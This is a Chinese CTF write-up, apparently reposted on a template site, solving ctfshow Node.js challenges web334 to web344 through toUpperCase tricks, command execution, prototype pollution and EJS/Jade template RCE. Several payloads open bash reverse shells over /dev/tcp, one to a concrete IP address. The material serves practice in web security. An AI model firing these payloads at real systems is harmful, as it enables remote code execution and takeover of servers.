Ctfshow nodejs

这篇具有很好参考价值的文章主要介绍了Ctfshow nodejs。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

web334(特性)

login.js

var express = require('express');

var router = express.Router();

var users = require('../modules/user').items;

var findUser = function(name, password){

 return users.find(function(item){

  return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

 });

};

/* GET home page. */

router.post('/', function(req, res, next) {

 res.type('html');

 var flag='flag_here';

 var sess = req.session;

 var user = findUser(req.body.username, req.body.password); 

 if(user){

  req.session.regenerate(function(err) {

   if(err){return res.json({ret_code: 2, ret_msg: '登录失败'});     

   }

​    
   req.session.loginUser = user.username;
   res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});        

  });

 }else{

  res.json({ret_code: 1, ret_msg: '账号或密码错误'});

 }  
});
module.exports = router;

user.js

module.exports = {

 items: [

  {username: 'CTFSHOW', password: '123456'}

 ]
}

可以看到user.js文件中账号密码都已经给出,我们需要login文件中的判断语句为true

 return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

我们需要 name的值为 大写的 ‘CTFSHOW’,又要不等于’CTFSHOW’,我们需要利用toUpperCase()方法的特性

在Character.toUpperCase()函数中,字符ı会转变为I,字符ſ会变为S。
字符İ会转变为i,字符K会转变为k。

payload:

username:'ctfſhow'

password: '123456'

Ctfshow nodejs,web安全,CTF,安全,网络,web安全,node.js

web335(特性)

execSync是child_process库里用于执行系统命令的一个方法,参数直接是命令

require('child_process').execSync('cat f*').toString()

spawnSync是child_process库里另一个执行系统命令的方法,与上一个方法不同的是,该方法命令和参数是分离的

require( 'child_process' ).spawnSync( 'cat', [ 'f*' ] ).stdout.toString()

web336(特性)

?eval=var a=require('chil'+'d_pro'+'cess');a['ex'+'ecSync']('cat f*')

这里使用了声明变量拼接绕过,类似于python的模板注入和RCE里的拼接绕过

web337(特性)

题目源码

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;

  if (a && b && a.length === b.length && a !== b && md5(a + flag) === md5(b + flag)) {
    res.end(flag);
  } else {
    res.render('index', { msg: 'tql' });
  }
});

module.exports = router;

这里要满足以下条件语句

if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  res.end(flag);
}

需要传入a与b参数,并且它俩的长度要相等,但变量自身不相等,而且它俩和flag拼接到一起后经md5加密的结果也要相等

payload1

?a[0]=1&b[0]=1

这里是传入数组,数组中都只有一个成员故length相等,我理解的是由于不是同一个数组所以两数组也不等,然后md5加密后的结果相等的原因,应该就是数组里的成员是相同的,故加密结果相同

payload2

?a[x]=1&b[x]=2

这里存入的是对象形式,在JavaScript中对象可以当做键值对的容器,类似于python里的字典,然后对象并不具有length属性,故返回为空,从而空空强等于,然后两个对象的成员不同,故不等于

然后加入以拼接的形式输出对象本身的话,只会打印出**[object Object]**这一字符串,并不会打印出成员,如图所示
Ctfshow nodejs,web安全,CTF,安全,网络,web安全,node.js

故这两个对象拼接flag变量后经md5加密相等

web338(原型链污染)

看题目代码关键部分

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  var flag='flag_here';
  var secert = {};
  var sess = req.session;
  let user = {};
  utils.copy(user,req.body);
  if(secert.ctfshow==='36dboy'){
    res.end(flag);
  }else{
    return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});  
  } 
});

看代码,只要让secert.ctfshow==='36dboy’就能输出flag。最主要的漏洞代码还是copy的一个递归调用函数

function copy(object1, object2){
    for (let key in object2) {
        if (key in object2 && key in object1) {
            copy(object1[key], object2[key])
        } else {
            object1[key] = object2[key]
        }
    }
  }

它会for循环遍历object2中的键,如果这个键名在object1和object2中都存在,那么就调用copy函数,否则将object2的key赋值给object1。我们可以控制object2,如果object2中的key设置为_proto_,就可以原型链污染了。我们将object2赋值为

{"__proto__":{"ctfshow":"36dboy"}}

我们想让__proto__为键名就必须要json语法格式,不然的话,__proto__就会识别为原型而不是键名,所以在key遍历时也只有ctfshow这个键名了。

web339(原型链污染)

一个demo

function copy(object1, object2){
   for (let key in object2) {
       if (key in object2 && key in object1) {
           copy(object1[key], object2[key])
       } else {
           object1[key] = object2[key]
       }
   }
 }
var user ={}
body=JSON.parse('{"__proto__":{"query":"return 123"}}');
copy(user,body);
console.log(query);

运行上面的方法会发现query有了新的值

当变量没有被声明或引用赋值时,便会去上一级Object对象中查找该变量的值

payload

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"}}
}}

web340(原型链污染)

题目关键部分源码

//app.js
router.post('/', require('body-parser').json(),function(req, res, next) {
 res.type('html');
 res.render('api', { query: Function(query)(query)});
});
 //login.js
var user = new function(){
  this.userinfo = new function(){
  this.isVIP = false;
  this.isAdmin = false;
  this.isAuthor = false;   
  };
 }
 utils.copy(user.userinfo,req.body);

//这次的目标数组需要往上两层才可以污染到object

和上一题相同都需要利用定义函数的构造函数Function来反弹shell,payload

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"}}}

web 341(ejs)

这道题没了上面可以执行命令的语句,要用到 ejs 模板引擎的RCE漏洞,这个漏洞也是上面几个题的通解(漏洞详细)

重点在ejs库中框起来的这几行
Ctfshow nodejs,web安全,CTF,安全,网络,web安全,node.js

可以看到, opts 对象 outputFunctionName 成员在 express 配置的时候并没有给他赋值,默认也是未定义,即 undefined,这样在 574 行时,if 判否,跳过

但是在我们有原型链污染的前提之下,我们可以控制基类的成员。这样我们给 Object 类创建一个成员 outputFunctionName,这样可以进入 if 语句,并将我们控制的成员 outputFunctionName 赋值为一串恶意代码,从而造成代码注入。在后面模版渲染的时候,注入的代码被执行,也就是这里存在一个代码注入的 RCE

在该题目中需要向上两层才能污染到object

payload

{"__proto__":{"__proto__":{"outputFunctionName":"_llama1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.43.154.98/9001 0>&1\"');var _llama2"}}}

web342(jade)

该题是jade模板引擎的RCE漏洞(漏洞详细)

payload

{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/your-ip/port 0>&1\"')"}}}

//同样是向上污染两级

POST发包访问login路由(注意添加红色框内请求头),然后再次随便发一下包即可反弹shell
Ctfshow nodejs,web安全,CTF,安全,网络,web安全,node.js

web343(jade)

payload

{"__proto__":{"__proto__":{"type":"Code","self":1,"line":"global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/your-ip/port 0>&1\"')"}}}

//同样是向上污染两级

操作和知识点和上一题相同

web344(特性)

题目源码

router.get('/', function(req, res, next) {
    res.type('html');
    var flag = 'flag_here';
  
    if (req.url.match(/8c|2c|\,/ig)) {
        res.end('where is flag :)');
    }
  
    var query = JSON.parse(req.query.query);
  
    if (query.name === 'admin' && query.password === 'ctfshow' && query.isVIP === true) {
        res.end(flag);
    }
    else {
        res.end('where is flag. :)');
    }
});

经分析满足该if语句即可得到flag

query.name === 'admin' && query.password === 'ctfshow' && query.isVIP === true

可以看出我们传一个符合条件的JSON数据即可,但是该正则将逗号及其相应的URL编码都给禁了

if (req.url.match(/8c|2c|\,/ig)) {
    res.end('where is flag :)');
}

这是我们要处理的payload,要让其没有逗号

?query={"name":"admin","password":"ctfshow","isVIP":true}

这里要说一个特性,JSON.parse()函数在处理数组时会把数组里的成员都用逗号拼接成一整个字符串,然后进行解析

例如

var a = ['{"name":"admin"','"password":"ctfshow"}'];
var query = JSON.parse(a);
console.log(query);

//拼接为['{"name":"admin","password":"ctfshow"}']

输出

{ name: 'admin', password: 'ctfshow' }

所以我们的payload要分开传参,构成数组,以此来绕过逗号,payload为文章来源地址https://www.toymoban.com/news/detail-692190.html

?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}

//这里ctfshow写为%63tfshow的目的是前面的双引号经过URL编码后为 %22 然后和字母c组成 2c 被正则过滤,所以要对字母f进行URL编码

到了这里,关于Ctfshow nodejs的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 【Nodejs】Node.js简介

    Node 的重要性已经不言而喻,很多互联网公司都已经有大量的高性能系统运行在 Node 之上。Node 凭借其单线程、异步等举措实现了极高的性能基准。此外,目前最为流行的 Web 开发模式是前后端分离的形式,即前端开发者与后端开发者在自己喜欢的 IDE 上独立进行开发,然后通

    2024年02月12日
    浏览(44)
  • 【Nodejs】Node.js开发环境安装

    在命令窗口中输入 node -v 可以查看版本 0.x 完全不技术 ES6 4.x 部分支持 ES6 特性 5.x 部分支持ES6特性(比4.x多些),属于过渡产品,现在来说应该没有什么理由去用这个了 6.x 支持98%的 ES6 特性 8.x 支持 ES6 特性 去 Node.js 的官网下载安装包: 我们也可以下载历史版本。 后续如果

    2024年02月15日
    浏览(61)
  • Node.Js篇 NodeJs使用MongoDB

    目录 介绍 概念解析                   安装 启动时注意事项 NodeJs操作Mongo 介绍 MongoDB 是一个基于分布式文件存储的数据库。由 C++ 语言编写。旨在为 WEB 应用提供可扩展的高性能数据存储解决方案。                                                           

    2024年02月09日
    浏览(40)
  • 【nodejs】用Node.js实现简单的壁纸网站爬虫

    在这个博客中,我们将学习如何使用Node.js编写一个简单的爬虫来从壁纸网站获取图片并将其下载到本地。我们将使用Axios和Cheerio库来处理HTTP请求和HTML解析。 首先,确保你已经安装了Node.js环境。然后,我们将创建一个新的文件夹,初始化项目并安装所需的依赖库: 编写爬虫

    2024年02月12日
    浏览(32)
  • 「NodeJs进阶」超全面的 Node.js 性能优化相关知识梳理

    相信对于前端同学而言,我们去开发一个自己的简单后端程序可以借助很多的nodeJs的框架去进行快速搭建,但是从前端面向后端之后,我们会在很多方面会稍显的有些陌生,比如「性能分析」,「性能测试」,「内存管理」,「内存查看」,「使用C++插件」,「子进程」,「

    2024年02月01日
    浏览(40)
  • Nodejs 入门8 NeDB 轻量级的Node.js 数据库

    常用的sqlite轻量级数据库,nodejs在windows环境下安装配置有时候会比较麻烦,很难顺利安装。 Nedb(Node Embedded Database)在一些情况下可以替代sqlite,特别适用于小型项目和快速原型开发。本文将介绍Nedb的基本概念、特性和使用方法,以帮助大家更好地了解和利用这个便捷的工

    2024年01月22日
    浏览(47)
  • 【Node.js从基础到高级运用】十三、NodeJS中间件高级应用

    在现代web开发中,Node.js因其高效和灵活性而备受青睐。其中,中间件的概念是构建高效Node.js应用的关键。在这篇博客文章中,我们将深入探讨Node.js中间件的高级应用,包括创建自定义中间件、使用第三方中间件等。我们将从基础讲起,逐步深入,旨在为读者提供全面而深入

    2024年03月22日
    浏览(84)
  • CTF练习——WEB安全(BurpSuite为主)

    目录 BurpSuite用户名密码爆破 滑稽 计算器 Dummy Game 头等舱 alert GET POST HTTP Have fun 矛盾 网站被黑了 EasySQL WarmUp secret file STTI_1(模板注入) BurpSuite用户名密码爆破 输入错误的用户名密码组合:xiaoming 19971208,开启拦截: 发送到intruder,配置cluster bomb: 使用safe6,如下填写信息后

    2024年02月09日
    浏览(27)
  • 安全 ctf-Web基础_cookie欺骗

    题目描述 Cookie :         Cookie欺骗、认证、伪造 解题思路: 1. 打开题目给的链接,显示:hello guest. only admin can get flag. 2. 使用F12快捷键进入开发者工具,选择控制台,修改管理员 admin 的 Cookie 值为 1(True): document.cookie   #查看cookie document.cookie = \\\'admin = 1\\\'  #将admin的值修

    2024年04月28日
    浏览(31)
  • NodeJS原型链污染&ctfshow_nodejs

    前言 最近又遇到了有关原型链污染的题目,所以在此总结一下,方便回顾 0x01.原型与原型链 js中一切皆对象,其中对象之间是存在共同和差异的。 共同:对象的最终原型是 Object 的原型 null 差异:函数对象中有 prototype 属性,但是实力对象没有 1、原型的定义: 原型是Javascri

    2024年02月14日
    浏览(39)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包